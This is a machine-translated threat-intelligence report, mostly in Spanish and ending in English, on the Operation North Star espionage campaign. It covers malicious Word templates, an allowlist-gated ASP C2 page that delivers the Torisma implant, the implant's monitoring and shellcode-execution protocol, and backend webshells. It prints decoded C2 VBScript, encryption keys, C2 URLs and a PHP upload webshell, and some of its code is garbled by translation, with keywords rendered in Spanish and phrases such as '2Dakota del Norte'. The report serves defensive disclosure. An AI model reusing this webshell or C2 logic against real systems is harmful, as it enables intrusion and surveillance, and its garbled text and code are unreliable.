Operación North Star: Detrás de cámaras


Resumen Ejecutivo

Es raro que se le proporcione una visión interna de cómo se llevan a cabo las principales campañas de ciberespionaje dentro del ámbito digital. La única transparencia que se ofrece es una vista limitada de las víctimas, una muestra de malware y quizás las direcciones IP de la infraestructura histórica de comando y control (C2).

La campaña Operation North Star que detallamos a principios de este año proporcionó precisamente esto. Esta campaña utilizó sitios de redes sociales, spearphishing y documentos armados para apuntar a los empleados que trabajan para organizaciones en el sector de defensa. Este análisis inicial se centró en los vectores de intrusión iniciales del adversario, describió las primeras etapas de cómo se instaló un implante y cómo interactuó con el servidor de Comando y Control (C2).

Sin embargo, esa divulgación inicial dejó brechas como la existencia de una carga útil secundaria y conocimientos adicionales sobre cómo los actores de la amenaza llevaron a cabo sus operaciones y a quiénes se dirigían. El informe actualizado realiza una inmersión profunda única después de nuestra identificación de información no descubierta previamente en la infraestructura de backend administrada por los adversarios.

Estos hallazgos revelan un implante secundario previamente desconocido conocido como Torisma. Sin embargo, más reveladoras son las medidas de seguridad operativa que se tomaron para permanecer ocultas en los sistemas comprometidos. En particular, vimos la aplicación de una lista de víctimas de Permitir y Bloquear para garantizar que la carga útil secundaria del atacante no llegara a las organizaciones que no eran el objetivo. Esto nos dice que ciertamente ha habido un grado de innovación técnica exhibida no solo con el uso de una inyección de plantilla, sino también en las operaciones ejecutadas por el adversario.

Finalmente, aunque no podemos confirmar el alcance del éxito de los ataques del adversario, nuestro análisis de sus archivos de registro C2 indica que lanzaron ataques contra direcciones IP que pertenecen a proveedores de servicios de Internet (ISP) en Australia, Israel y Rusia, y contratistas de defensa. con sede en Rusia e India.

Los hallazgos de este informe están destinados a brindarle a usted, el lector, conocimientos únicos sobre la tecnología y las tácticas que utilizó el adversario para atacar y comprometer sistemas en todo el mundo.

Sitio comprometido

La infraestructura de la operación North Star C2 consistió en dominios comprometidos en Italia y otros países. Los dominios comprometidos pertenecían, por ejemplo, a una empresa de indumentaria, una casa de subastas y una imprenta. Estas URL alojaban archivos DOTM maliciosos, incluida una página ASP maliciosa.

  • hxxp: //fabianiarte.com: 443 / uploads / docs / bae_defqa_logo.jpg
  • hxxps: //fabianiarte.com/uploads/imgproject/912EC803B2CE49E4A541068D495AB570.jpg
  • https://www.fabianiarte.com/include/action/inc-controller-news.asp

El dominio fabianiarte.com (fabianiarte.it) estaba comprometido para alojar código de servidor backend y archivos DOTM maliciosos. Este dominio albergaba archivos DOTM que se usaban para imitar los perfiles de trabajo de los contratistas de defensa como se observó en la Operación North Star, pero el dominio también incluía un código rudimentario de servidor backend que sospechamos que fue usado por el implante. Los archivos de registro y las copias aparecieron en estado salvaje relacionados con la intrusión de este dominio y proporcionaron más información. Según nuestro análisis de este caché de datos, este sitio se vio comprometido con el código de host el 9/7/2020.

Se descubrieron dos archivos DOTM en este caché de registros y otros datos de intrusión. Estos archivos DOTM pertenecen a las campañas 510 y 511 según el valor codificado en los scripts VB maliciosos.

  • 22it-34165.jpg
  • 21it-23792.jpg

Desarrollos en técnicas de anti-análisis

Durante nuestro análisis, descubrimos dos archivos DOTM como parte del caché de datos pertenecientes al backend. Al analizar los implantes de primera etapa asociados con el servidor C2 durante un período de siete meses, encontramos que hubo más intentos por parte del adversario de ofuscar y confundir a los analistas.

Habiendo aparecido en julio, estos archivos DOTM contenían implantes de primera etapa incrustados en la misma ubicación que documentamos en nuestra investigación inicial. Sin embargo, los implantes anteriores de otros archivos DOTM maliciosos se codificaron en base64 doble y los implantes en sí no se ofuscaron más. Sin embargo, hubo algunos cambios notables en el método que diferían de los detallados en nuestra investigación inicial:

  • El implante de primera etapa que está anidado en el archivo DOTM utiliza codificación triple base64 en Visual Basic Macro
  • La DLL extraída (desktop.dat) está empaquetada con el empaquetador Themida que intenta dificultar el análisis.

El implante de primera etapa extraído de los archivos DOTM contiene un archivo de configuración cifrado y una DLL de cuentagotas intermedia. El archivo de configuración, una vez descifrado, contiene información para el implante de primera etapa. La información incluye la URL para C2 y las claves de descifrado para la carga útil de la segunda etapa llamada "Torisma”.

Contenido de la configuración descifrada

Debido a que el archivo de configuración contiene información sobre cómo comunicarse con el C2, también almacena las opciones de los parámetros (ned, gl, hl). En este caso, vemos un cuarto parámetro desconocido conocido como nl, sin embargo, no parece estar implementado en el código ASP del lado del servidor. Es posible que el adversario haya tenido la intención de implementarlo en el futuro.

Aparición del parámetro nl

Además, el análisis de los componentes de backend de este servidor comprometido nos permite trazar una línea de tiempo de actividad sobre cuánto tiempo tuvo acceso el atacante. Por ejemplo, los archivos DOTM mencionados anteriormente se colocaron en el servidor C2 comprometido en julio de 2020. Algunos de los principales componentes maliciosos involucrados en la operación de backend se instalaron en este servidor en enero de 2020, lo que indica que este servidor C2 había estado funcionando durante siete meses. .

Profundizando en el corazón de la Operación North Star – Backend

Inc-Controller-News.ASP

Como cubrimos en nuestra investigación inicial de la Operación North Star, el ataque general contenía un implante de primera etapa entregado por los archivos DOTM. Esa investigación encontró parámetros específicos utilizados por el implante y que se enviaron al servidor C2.

Un análisis más detallado del implante "wsdts.db" en nuestro caso, reveló que recopila información del sistema de la víctima. Por ejemplo:

  • Obtener información de los discos del sistema
  • Obtenga información sobre el espacio libre en disco
  • Obtener el nombre de la computadora y el nombre de usuario (conectado)
  • Procesar informacion

Cuando se recopile esta información, se comunicará al servidor C2 mediante los parámetros (ned, gl, hl).

Estos parámetros son interpretados por una página ASP del lado del servidor ofuscada, basándose en los valores enviados dependerá de las acciones tomadas sobre la víctima. La página ASP del lado del servidor se colocó en el servidor comprometido en enero de 2020.

Además, según esta información, el adversario se dirige a servidores Windows que ejecutan IIS para instalar componentes C2.

La página ASP del lado del servidor contiene un VBScript incrustado altamente ofuscado que, una vez decodificado, revela código diseñado para interactuar con el implante de primera etapa. La página ASP está codificada con el método VBScript.Encode que da como resultado un código VBScript ofuscado. El implante de primera etapa interactúa con la página ASP del lado del servidor mediante el uso de estos parámetros finitos.

VBScript codificado

Una vez que el VBScript ha sido decodificado, revela un conjunto de funciones bastante complejo. Estas funciones conducen a la instalación de implantes de etapa adicional en el sistema de la víctima. Estos implantes se conocen como Torisma y Doris, ambos codificados en base64. Se cargan directamente en la memoria a través de una secuencia binaria una vez que se cumplen las condiciones según la lógica contenida en el script.

VBScript decodificado

El script ASP del lado del servidor contiene código para crear un flujo binario donde sospechamos que está escrito el implante Torisma. También descubrimos que el implante Torisma está incrustado en la página ASP y la decodificación del blob base64 revela una carga útil encriptada AES. Esta página ASP contiene evidencias que indican la existencia de una lógica que decodifica este implante y lo entrega a la víctima.

función getbinary (sdata)

const adtypetext = 2

const adtypebinary = 1

tenue binarystream

dim aa

aa = "adodb.stream"

establecer binarystream = createobject (aa)

binarystream.type = adtypetext

binarystream.charset = "unicode"

binarystream.open

binarystream.writetext sdata

binarystream.position = 0

binarystream.type = adtypebinary

binarystream.position = 2

getbinary = binarystream.read

función final

Dependiendo de los valores enviados, se realizan acciones adicionales en la víctima objetivo. Un análisis más detallado de la secuencia de comandos del lado del servidor indica que existe una lógica que depende de algún mecanismo para que el actor coloque la dirección IP de una víctima en un archivo de lista de permitidos. El implante de segunda etapa no se entrega a la víctima a menos que primero se cumpla esta condición. Esto alude a la posibilidad de que el actor esté revisando datos en el backend y seleccionando víctimas, esto probablemente se realice a través de otra página ASP descubierta (template-letter.asp).

La página ASP del lado del servidor contiene código para interpretar los datos enviados a través de los siguientes parámetros para ejecutar código adicional. Los valores de estos parámetros son enviados por el implante de primera etapa entregado inicialmente por los archivos DOTM. Estos parámetros fueron cubiertos en nuestra investigación inicial, sin embargo, tener acceso al código de backend C2 revela información adicional sobre su verdadero propósito.

Parámetro Descripción
NED Código de campaña incrustado en macro DOTM
GL Información del sistema
HL Bandera para indicar la arquitectura del sistema operativo (32 o 64 bits)

La cadena de consulta de URL se envía al servidor C2 en el siguiente formato.

http: //nombrehost/inc-controller-news.asp? ned = campaigncode & gl =base64encodeddata & hl = 0

Además, existe un código para obtener la dirección IP de la víctima infectada; esta información se utiliza para comprobar si la dirección IP está permitida (obtener la segunda etapa) o si la dirección IP ha sido bloqueada (evitar la segunda etapa). Como se mencionó anteriormente, la adición de la dirección IP de la víctima a los archivos MP3 falsos probablemente se realice manualmente mediante la identificación de las conexiones entrantes a través del implante de etapa 1.

función getstripaddress ()

en caso de error reanudar siguiente

ip tenue

ip = request.servervariables ("http_client_ip")

si ip = ""

luego ip = request.servervariables ("http_x_fordered_for")

si ip = ""

luego ip = request.servervariables ("remote_addr")

terminar si termina

Si

getstripaddress = ip

función final

El código completo de la lógica obtiene la dirección IP de la máquina cliente que se conecta y escribe las entradas de la víctima en un archivo de registro. Al desglosar este código, podemos ver que se utilizan diferentes funciones que son las más interesantes. Estos archivos de registro también se almacenan dentro de la raíz WWW del servidor comprometido según la variable strlogpath.

En el siguiente fragmento de código del vbscript, podemos ver que los parámetros "gl" y "hl" se utilizan para consultar la información del sistema de la víctima (gl) y la arquitectura del sistema operativo (32 o 64 bits):

strinfo = replace (request.form ("gl"), "", "+"): strosbit = replace (request.form ("hl"), "", "+")

Registro de víctimas

El adversario realiza un seguimiento de las víctimas mediante la función de registro que se implementa en el código ASP del lado del servidor. Además, como se describió anteriormente, el código del servidor backend tiene la capacidad de realizar un registro de víctimas basado en conexiones de implantes de primera etapa. Este archivo de registro se almacena en el directorio raíz de WWW en el servidor C2 comprometido. El siguiente fragmento de código escribirá datos en un archivo de registro en el formato (fecha, dirección IP, agente de usuario, código de campaña (NED), información del sistema (GL), arquitectura del sistema operativo (HL)).

strlog = date () & "" & formatdatetime (ahora (), 4)

r = línea de escritura (strlogpath, strlog)

r = línea de escritura (strlogpath, stripaddr)

r = línea de escritura (strlogpath, strua)

r = línea de escritura (strlogpath, strcondition)

r = línea de escritura (strlogpath, strinfo)

r = línea de escritura (strlogpath, strosbit)

El código ASP del lado del servidor verificará si la dirección IP es parte de una lista de permitidos o de una lista de bloqueo verificando la presencia de la IP en dos archivos del lado del servidor disfrazados de archivos MP3. La dirección IP se almacena en el formato de un hash MD5, contenido dentro del código del lado del servidor como una función para crear un hash MD5. El código busca estos archivos en la raíz WWW del servidor comprometido según la variable strWorkDir.

El uso de una "lista permitida" es una posible indicación de que contenía la lista de sus objetivos predeterminados.

strWorkDir = “C: ”: strLogPath = strWorKdir & ”lole3D_48_02_05.mp3 ″: StrWhiteFile = strWorkDir &” wole3D_48_02_05.mp3 “: strBlAcKFile = strWorkDir & ”pdr3dAd5) MD: Request.serveRVariables ("HTTP_USER_AGENT")

Comprobación de lista de permisos / lista de bloqueo de IP

Para la generación de hash MD5, el sistema parece estar utilizando una forma no estándar de hash para las direcciones IP. En la mayoría de los casos, el proveedor de servicios criptográficos integrado de Microsoft se utilizaría para generar un MD5. En este caso, sin embargo, el actor optó por utilizar un método personalizado.

La dirección IP se recupera y se codifica mediante este método.

stripaddr = getstripaddress ()

strmd5ipaddr = md5 (stripaddr)

La siguiente función (ipopk) está configurada para leer desde un archivo que almacena IP con hash y se usará más adelante en una declaración de bloque condicional. El siguiente código abrirá y leerá un archivo, si no hay datos, la bandera para ipok resultará en 0, si hay datos, el valor resultante será 1.

función ipok (hashfile, stripaddr)

en caso de error reanudar siguiente

dim fso, fs, linedata

set fso = server.createobject ("scripting.filesystemobject")

establecer fs = fso.opentextfile (hashfile, 1, verdadero)

ipok = 0

hacer hasta fs.atendofstream

linedata = lcase (fs.readline)

si len (linedata)> 0 e instr (stripaddr, linedata) entonces ipok = 1

salir hacer

terminar si bucle

fs.close

establecer fs = nada

función final

El siguiente código es la lógica para determinar si una víctima infectada debe recibir el implante Torisma. Se utilizan una serie de casos para tomar la decisión según las condiciones específicas que se describen en el código. A continuación se explican los casos:

  • Si la dirección IP de la víctima está en la lista de permitidos, y el valor de bit de la arquitectura del sistema operativo es "1" (parecido a 64 bits), el implante Torisma versión de 64 bits se enviará a la víctima y en el archivo de registro el término "case_1_64 ”Está escrito detrás de la víctima, es decir, la versión de 64 bits del implante Torisma enviado.
  • Lo mismo para el segundo caso, pero ahora para una versión de 32 bits del sistema operativo (valor 0) y el término "case_1_86" está escrito, lo que significa que se envió la versión de implante de 32 bits de torisma.
  • Si la dirección IP de la víctima está en la lista de bloqueo con una arquitectura de sistema operativo de 32/64 bits, se enviará a la víctima una carga útil sin sentido llamada "doris_x86" "doris_x64". Por ejemplo, en nuestro caso, este fue el valor de "doris_x86": DoriS_x86 = "ddddddd"
  • Si la víctima devuelve la condición "24", se escribe una entrada de registro con el valor "case_3" y no se envía ningún implante y se envía un estado de respuesta http de 405
  • Si no se cumple ninguna de las condiciones anteriores, se escribe “case_4” en el archivo de registro, no se envía ningún implante y, de nuevo, se envía un estado de respuesta http de 405.

Un código de respuesta http 405 indica que el servidor conoce el método de solicitud, pero el recurso de destino no lo admite.

si ipok (strwhitefile, strmd5ipaddr) = 1 e instr (strosbit, "1")> 0 entonces r = writeeline (strlogpath, "case_1_64") strresdata = strbase64_torisma_x64

de lo contrario, si ipok (strlogfile, strmd5ipaddr) = 1 e instr (strosbit, "0")> 0 entonces r = writeeline (strlogpath, "case_1_86") strresdata = strbase64_torisma_x86

de lo contrario, si ipok (strblackfile, strmd5ipaddr) = 1 e instr (strosbit, "1")> 0, entonces r = writeeline (strlogpath, "case_2_64") strresdata = strbase64_doris_x64

si no, si ipok (strblackfile, strmd5ipaddr) = 1 e instr (strosbit, "0")> 0 entonces r = writeeline (strlogpath, "case_2_86") strresdata = strbase64_doris_x86

de lo contrario, si instr (strcondition, "24")> 0, entonces r = writeeline (strlogpath, "case_3") response.status = "405"

else r = writeeline (strlogpath, "case_4") response.status = "405" end

Lógica para entregar 2Dakota del Norte etapa del implante a la víctima

Dentro del implante Torisma

Uno de los principales objetivos de la Operación North Star por lo que podemos decir es instalar el implante Torisma en el sistema de la víctima objetivo según un conjunto de lógica. Además, el objetivo final es ejecutar shellcode personalizado después de la infección de Torisma, ejecutando así acciones personalizadas dependiendo de los perfiles específicos de la víctima. Como se describió anteriormente, Torisma se entrega en base a los datos enviados por la víctima al servidor de comando y control. Este proceso se basa en el implante de primera etapa extraído de la macro VB incrustada en el archivo DOTM.

Flujo de proceso general y relación de componentes

Además, Torisma es un desconocido 2Dakota del Norte Stage implant incrustado en la página ASP del lado del servidor como un blob codificado en base64. Embedded es una versión de 64 y 32 bits y, dependiendo del valor de la bandera de la arquitectura del sistema operativo enviado por la víctima y determinará qué versión se envía. Además, este implante se carga directamente en la memoria como resultado de la interacción entre la víctima y el servidor de comando y control. El adversario hizo todo lo posible para ofuscar, cifrar y empaquetar el 1S t y 2Dakota del Norte etapa de implantes implicados en este caso específico.

Una vez que Torisma se decodifica de Base64, el implante se cifra aún más mediante una clave AES y se comprime. La página ASP del lado del servidor no contiene ninguna lógica para descifrar el implante Torisma en sí, sino que se basa en la lógica de descifrado contenida en el implante de primera etapa. La clave de descifrado existe en un archivo de configuración cifrado, junto con la URL del servidor de comando y control.

Esto dificulta la recuperación del implante si el personal de respuesta a incidentes recuperara el código del servidor comprometido.

El método de descifrado lo realiza el implante de primera etapa utilizando la clave de descifrado almacenada en el archivo de configuración, esta clave es una clave AES estática de 32 bits. Torisma se puede decodificar con una clave de descifrado 78b81b8215f40706527ca830c34b23f7.

Además, después de descifrar el binario Torisma, también se encuentra empaquetado con compresión lz4, lo que le da otra capa de protección. Una vez descomprimido el código, ahora podemos analizar Torisma y sus capacidades dando más información sobre la Operación North Star y la 2Dakota del Norte implante de etapa.

La variante del implante que analizamos fue creada el 2/7/2020; sin embargo, dado que inc-controller-news.asp se colocó en el C2 a principios de 2020, indica la posibilidad de múltiples actualizaciones.

Según el análisis, Torisma envía y recibe información con las siguientes URL.

  • hxxps: //www.fabianiarte.com/newsletter/arte/view.asp
  • hxxps: //www.commodore.com.tr/mobiquo/appExtt/notdefteri/writenote.php
  • hxxp: //scimpex.com: 443 / admin / assets / backup / requisition / requisition.php

Archivo de configuración cifrado

Torisma también usa archivos de configuración encriptados al igual que con el 1S t Stage implant para indicar con qué URL se comunica como comando y control, etc.

Archivo de configuración descifrado

El archivo de configuración de Torisma se cifra mediante el algoritmo VEST (1) además de la comunicación enviada por el canal C2. A partir de nuestra investigación, este método de cifrado no se usa comúnmente en ningún lugar, de hecho, fue un cifrado propuesto que no se convirtió en un estándar para ser implementado en tecnologías generales (2).

Además, el archivo FOUND002.CHK recuperado del backend se usa para actualizar la configuración y contiene solo URL con extensión .php. Estas URL tienen páginas con una extensión .php, lo que indica que parte del backend puede haber sido escrito en PHP. No está claro cuál es el papel de los servidores con páginas .PHP en el ataque general. Aunque podemos confirmar basándonos en cadenas y funciones en Torisma que hay un código diseñado para enviar y recibir archivos con la página view.asp. Esta página view.asp es el backend del implante Torisma de lo que muestra nuestro análisis aquí. Más adelante en este análisis cubrimos más en view.asp, sin embargo, esa página contenía una funcionalidad básica para manejar solicitudes, enviar y recibir datos con una víctima infectada que tiene el implante Torisma.

Funcionalidad principal

Según nuestro análisis, el código Torisma es un implante desarrollado a medida centrado en el seguimiento especializado.

La función de Torisma es monitorear las nuevas unidades agregadas al sistema, así como las conexiones de escritorio remoto. Este parece ser un implante más especializado enfocado en el monitoreo activo del sistema de la víctima y desencadenando la ejecución de cargas útiles basadas en eventos monitoreados. El objetivo final de Torisma es ejecutar shellcode en el sistema de la víctima y enviar los resultados de vuelta al C2.

El código Torisma comienza ejecutando un ciclo de monitoreo para recopilar información.

Bucle de recopilación de información

Proceso general

Ejecuta la rutina de monitoreo, pero primero verificará si el monitoreo está habilitado según la configuración (deshabilitado de manera predeterminada). La lógica general de este proceso es la siguiente:

  1. Si el monitoreo está deshabilitado, regrese
  2. De lo contrario, llame al código que realiza el monitoreo y, al finalizar, deshabilite temporalmente el monitoreo
  3. Cuando se ejecuta, la supervisión se ejecutará durante un período de tiempo específico en función de un valor de configuración
  4. Al regresar de la función de monitoreo, el código procederá a la comunicación de comando y control
  5. Si hay una falla repetida en la comunicación, el implante forzará la monitorización durante 1 hora y luego volverá a intentar la comunicación.
  6. Repetir para siempre

Activación del monitoreo basado en la configuración

Vigilancia

El bucle de monitoreo recuperará la dirección de WTSEnumerateSessionsW y la dirección mac local usando GetAdaptersInfo.

  1. El código se ejecutará en un bucle, hasta que haya transcurrido el tiempo suficiente (el tiempo de finalización pasó un parámetro) o se produjo un evento de interés

Bucle de monitoreo

  1. Supervisará un aumento en el número de unidades lógicas y sesiones de escritorio remoto (RDS). Si ocurre alguna de estas situaciones, se establecerá un código de estado (5. Nueva unidad, 6. Nueva sesión de RDS) y el ciclo de monitoreo se detendrá.

Seguimiento de unidades

a. Utiliza GetlogicalDrives para obtener una máscara de bits de todas las unidades disponibles en el sistema, luego itera sobre cada letra de unidad posible

segundo. También usará GetDriveType para asegurarse de que la nueva unidad no sea una unidad de CD-ROM

Compruebe el tipo de unidad

  1. Realiza un seguimiento del número de unidades vistas anteriormente y devolverá 1 si el número ha aumentado

Seguimiento de sesiones de RDP

La función de seguimiento de la sesión RDP funciona de la misma manera que el seguimiento de la unidad. Si el número aumenta en uno, entonces devuelve 1. Utiliza WTSEnumerateSessionsW para obtener una lista de sesiones, las recorre para contar las activas.

Obtenga sesiones de RDP activas

Obtenga sesiones de RDP activas, continuación

Comunicación de mando y control

El código C2 es interesante y es una implementación personalizada. El proceso general de este protocolo es el siguiente.

  1. Genera una ID de conexión que se mantendrá a lo largo de este paso como una cadena hexadecimal de cinco bytes aleatorios para cada módulo (0x63) y sembrada aleatoriamente con la salida de GetTickCount64

Generar ID de conexión

  1. A continuación, carga una URL de destino.
      a. Hay tres servidores disponibles codificados en el implante como un blob cifrado
    1. segundo. El descifrado se realiza mediante un algoritmo de cifrado VEST-32 con la clave codificada ff7172d9c888b7a88a7d77372112d772

Descifrado de configuración

C. Se elige un número de configuración aleatorio (mod 6) para seleccionar esta configuración

re. Solo hay 3 configuraciones disponibles, si el número de configuración elegido es superior a 3, seguirá aumentando (mod 6) hasta que se elija una. Es más probable que se elija la configuración 0 debido a este proceso.

Código para elegir configuraciones

  1. Enviará una solicitud POST a la URL que recuperó de la configuración con una acción "VER". Crea una solicitud utilizando la siguiente cadena de formato codificada.
post => ACCIÓN = VER & PÁGINA =% s & CÓDIGO =% s & CACHÉ =% s & SOLICITUD =% d

=> PAGE = drive_count

CÓDIGO = RDS_session_count

CACHE = base64 (blob)

Solicitud = Rand ()

blob: tamaño 0x43c

blob (0x434: 0x438) = código_estado

blob (0x438: 0x43c) = 1

blob (0: 0x400) = form_url

blob (0x400: 0x418) = mac_address

blob (0x418: 0x424) = connection_id (aleatorio)

blob (0x424: 0x434) = "MC0921" (UTF-16LE)

a. El proceso buscará el retorno de la cadena. Tu petición ha sido aceptada. ClientID: f9102bc8a7d81ef01ba para indicar el éxito

  1. Si tiene éxito, recuperará datos del C2 a través de una solicitud POST, esta vez utilizará la acción PREVPAGE

a. Utiliza la siguiente cadena de formato para la solicitud POST

ACCIÓN = PREVPAGE & CODIGO = C% s & RES =% d

Con: CODE = connection_id (desde antes)

RES = Rand ()

segundo. La respuesta recibida del servidor está encriptada. Para descifrarlo se necesita el siguiente proceso

yo. Reemplazar espacio con +

ii. Base64 decodifica el resultado

iii. Descifre los datos con la clave "ff7172d9c888b7a88a7d77372112d772"

Descifrado del servidor mediante clave

iv. Realice un XOR en los datos

Realice XOR en los datos

    1. Los datos descifrados se utilizarán para ejecutar un shellcode desde el servidor y enviar datos de vuelta.

a. Los datos del servidor se dividirán en una carga útil para ejecutar y los datos se pasarán como un argumento que se le pasa
segundo. Parte del blob de datos enviado desde el servidor se utiliza para actualizar la configuración local utilizada para la supervisión.

yo. Los primeros 8 bytes se alimentan a un bucle add + xor para generar una versión transformada que se compara con los valores codificados

Comprobación de configuración

Continuación de la verificación de configuración

ii. Si los datos transformados coinciden con alguno de los dos valores codificados, la configuración local se actualiza

iii. Además, el servidor puede actualizar la duración de la observación (para el bucle Drive / RDS)

iv. Si la duración es superior a 0x7620 (21 días), volverá a habilitar la supervisión incluso si la configuración detallada anteriormente la había deshabilitado.

v. Si los datos transformados no coinciden con ninguno de los dos valores codificados, la configuración deshabilitará la supervisión

C. El implante creará un nuevo hilo de comunicación y esperará hasta que se le notifique para continuar. Luego procederá a ejecutar el código de shell y luego esperará a que termine el otro hilo.

re. Dependiendo de lo que haya ocurrido (ocurrió un error o el monitoreo está habilitado / deshabilitado), el código devolverá un valor mágico que decidirá si el código debe ejecutarse nuevamente o regresar al proceso de monitoreo.

Volver al bucle de comunicaciones

    1. El hilo de comunicaciones creará una nueva tubería con nombre (destinada a comunicarse con el shellcode). Notifica al otro hilo una vez que la tubería está lista y luego procede a enviar los datos leídos desde la tubería al servidor.

a. El nombre de la tubería es \. Pipe fb4d1181bb09b484d058768598b

Código para tubería con nombre

segundo. Leerá datos de la tubería (y marcará el procesamiento como completado si encuentra "- – – – – – – – -"

C. Luego enviará la lectura de datos al C2 enviando un POST en el siguiente formato

ACCIÓN = NEXTPAGE

ACCIÓN = NEXTPAGE & CÓDIGO = S% s & CACHE =% s & RES =% d

CÓDIGO = connection_id

CACHE = base64 (mensaje)

RES = Rand ()

re. Los datos se cifran siguiendo el mismo patrón que antes, los datos se XORED primero y luego se cifran usando VEST-32 con la misma clave que antes

mi. Esto se repetirá hasta que el hilo de carga útil envíe el mensaje "- – – – – – – – -" o que la publicación haya fallado.

Identificación de campaña

Una forma en que el adversario realiza un seguimiento de las víctimas que están infectadas por qué versión del implante de primera etapa es mediante el uso de ID de campaña. Estos ID están codificados en la macro VB de los archivos del documento de plantilla que recupera el maldoc de primera etapa.

Se envían al servidor backend a través del parámetro NED como se mencionó anteriormente, además, son leídos e interpretados por el código ASP.

Victimología

De acuerdo con los registros de acceso sin procesar para Inc-Controller-News.asp, es posible comprender qué países se vieron afectados y coincide con los registros que descubrimos en otra página .asp (view.asp), que explicaremos más adelante en el documento. .

Basándonos en uno de los archivos de registro de C2, pudimos identificar lo siguiente sobre las víctimas:

  • Contratista de defensa ruso
  • Dos direcciones IP en dos espacios de direcciones de ISP israelíes
  • Direcciones IP en el espacio ISP australiano
  • Dirección IP en el espacio de direcciones del ISP ruso
  • Contratista de defensa con sede en India

Plantilla-carta.asp

Durante nuestra investigación, descubrimos información adicional que condujo al descubrimiento de páginas ASP adicionales. Una página ASP descubierta en el mismo servidor de comando y control comprometido contenía código interesante. Primero, esta página ASP se codifica en el mismo método usando VB.Encode como observamos con el código que entrega el implante Torisma. En segundo lugar, parece que el código es parte del backend central administrado por el atacante y tenía el nombre de archivo original de board_list.asp. Según los datos de envío salvaje, el archivo board_list.asp apareció por primera vez en Corea en octubre de 2017, lo que sugiere que este código para este webshell se ha utilizado desde 2017.

Además, esta página ASP es un webshell personalizado que, según nuestro conocimiento y fuentes, no es un webshell común listo para usar, sino algo que se usa específicamente en estos ataques. Algunas de las acciones incluyen examinar archivos, ejecutar comandos, conectarse a una base de datos, etc. Al atacante se le presenta la página de inicio de sesión y se puede usar una contraseña codificada en base64 predeterminada de 'venus' para iniciar sesión (este valor está codificado en el origen de esta página).

Página principal de Template-Letter.ASP

Funcionalidad para ejecutar comandos

VIEW.ASP -Torisma Backend

El archivo View.ASP es tan importante como el archivo inc-controller-news.asp y contiene una funcionalidad interesante. Esta página ASP es el código de backend del implante Torisma y las funciones están destinadas a interactuar con la víctima infectada.

El archivo view.asp contiene las siguientes referencias en el código:

El archivo "FOUND001.CHK" contiene un "archivo de registro", ya que el nombre del valor CONST posiblemente se refiere a "logvault".

El análisis de las posibles víctimas reveló una interesante lista:

  • Contratista de defensa con sede en Rusia
  • Dos direcciones IP en dos espacios de direcciones de ISP israelíes
  • Dirección IP en el espacio de direcciones del ISP ruso
  • Contratista de defensa con sede en India

El archivo "FOUND002.CHK" contiene una cadena Base64 que decodifica a:

hxxps: //www.krnetworkcloud.org/blog/js/view.php | www.krnetworkcloud.org | 2 | /blog/js/view.php | NT

Es probable que el dominio anterior se haya visto comprometido para alojar código malicioso, dado que pertenece a una empresa de formación de TI de la India.

El nombre del valor Const para "FOUND002.CHK" es "cfgvault", las primeras tres letras pueden referirse a "configuración". Este código ASP contiene funciones adicionales que pueden indicar qué papel tiene esta página en el esquema general de las cosas. View.asp es el código de backend del implante Torisma con numerosas funciones implementadas para manejar las solicitudes del implante como se describió anteriormente en este análisis. Basándonos en nuestro análisis tanto del implante Torisma como de este código de backend, se han descubierto algunas ideas interesantes. Primero implementadas en el código ASP están las acciones generales que puede realizar este backend dependiendo de la interacción con Torisma.

Algunas de estas acciones son provocadas por la conexión del implante y otras pueden ser invocadas por otro proceso. La página ASP principal está implementada para manejar las solicitudes entrantes basadas en una solicitud de ACCIÓN con varias opciones posibles para llamar. Given that the implant is driven by the “ACTION” method when it comes to the C2 communication, a number of these cases could be selected. However, we only see code implemented in Torisma to call and handle the request/response mechanism for NEXTPAGE and PREVPAGE, thus these other actions are likely performed by the adversary through some other process.

General actions by View.ASP

ViewPrevPage

As described in the analysis, the ViewPrevPage action is a function designed to handle incoming requests from Torisma to get data. The data sent to Torisma appears to be in the form of ~dmf files. This content for the ViewPrevPage action comes in the form of shellcode intended to be executed on the victim side according to the analysis of the implant itself.

ViewPrevPage function

ViewNextPage

Torisma uses this method to send data back to the C2 server read from the named pipe. This is the results of the execution of the shellcode on the victim’s system through the ViewPrevPage action and the results of this execution are sent and processed using this function.

Implant sends data to C2

ViewGallery

There is no function in Torisma implemented to call this function directly, this is likely called from another administration tool, probably implemented in the upstream server. A static analysis of this method reveals that it is likely intended to retrieve log files in a base64 encoded format and write the response. Like the Torisma implant, there is a response string that is received by the calling component that indicates the log file had been retrieved successfully and that it should then delete the log file.

Retrieve and write log file content in base64 format (ViewGallery)

ViewMons

Another function also not used by Torisma is intended to set the local configuration file. It appears to use a different request method than ACTION; in this case it uses MAILTO. Based on insight gathered from Torisma, we can speculate this is related to configuration files that are used by the implant.

ViewMons function

SendData

This function is used in the RedirectToAdmin method exclusively and is the mechanism for sending data to the upstream C2. It depends on the GetConfig function that is based on the stored value in the cfgvault variable.

Send Data

RedirectToAdmin

This function is used to redirect information from an infected victim to the master server upstream. This is an interesting function indicating additional infrastructure beyond the immediate C2 with which we observed Torisma communicating.

RedirectToAdmin

WriteAgentLog

As part of the process of tracking victim’s with Torisma, the ASP code has a function to write log files. These resulting log files indicate success for the execution of shellcode on victims running Torisma. This logging method captures the user agent and IP address associated with the victim being monitored. This function is called when the information is sent to the master server via the RedirectToAdmin method.

Analysis of the server logs indicates the following countries made connections to the View.ASP page in July 2020.

  • India
  • Australia
  • Israel
  • Finland

Webshells

During our analysis we were able to determine that in some instances the attacker used webshells to maintain access. Discovered on another compromised server by the same actor with the same type of code was a PHP Webshell known as Viper 1337 Uploader. Based on our analysis this is a modified variant of Viper 1337 Uploader.

Viper 1337 Uploader

<?php

echo ‘

’;

echo ‘

’;

if( $_POST(‘_upl’) == “Upload” )

if(@copy($_FILES(‘file’)(‘tmp_name’), $_FILES(‘file’)(‘name’))) echo ‘Shell Uploaded ! 🙂

’;

else echo ‘Not uploaded !

’;

?>

<?php

